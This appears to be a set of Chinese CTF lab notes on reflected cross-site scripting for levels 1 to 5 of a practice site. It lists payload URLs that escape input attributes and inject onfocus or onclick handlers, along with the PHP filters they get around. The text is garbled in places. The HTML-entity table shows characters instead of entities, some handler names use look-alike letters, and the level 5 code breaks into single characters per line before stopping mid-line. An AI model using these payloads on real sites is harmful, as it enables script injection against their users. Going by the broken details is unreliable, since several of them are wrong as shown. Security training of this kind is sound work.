1、普通
window.alert = function()
http://test.ctf8.com/level1.php?name=
2、value
http://test.ctf8.com/level2.php?keyword=">
3、被转义
htmlspecialchars把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体
& (和号)成为 &
“ (双引号)成为 ”
’ (单引号)成为 ’
> (大于)成为 >
< (小于)成为 <
要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数
onfocus #当 input 输入框获取焦点时执行一段 Javascript代码
http://test.ctf8.com/level3.php?keyword=’ οnfοcus=alert(‘ok’)//
http://test.ctf8.com/level3.php?keyword=1’ οnclick=alert(‘ok’)//
http://test.ctf8.com/level3.php?keyword=1’ οnclick=‘alert(1)’
4、被转义后加了括号
$str2=str_replace(“>”,“”,$str);
$str3=str_replace(“<”,“”,$str2);
http://test.ctf8.com/level4.php?keyword=1" οnclick=alert(1)//
5、过滤
s
t
r
=
s
t
r
t
o
l
o
w
e
r
(
str = strtolower(
str=strtolower(_GET[“keyword”]); #把所有字符转换为小写
s
t
r
2
=
s
t
r
r
e
p
l
a
c
e
(
"
<
s
c
r
i
p
t
"
,
"
<
s
c
r
i
p
t
"
,
str2=str_replace("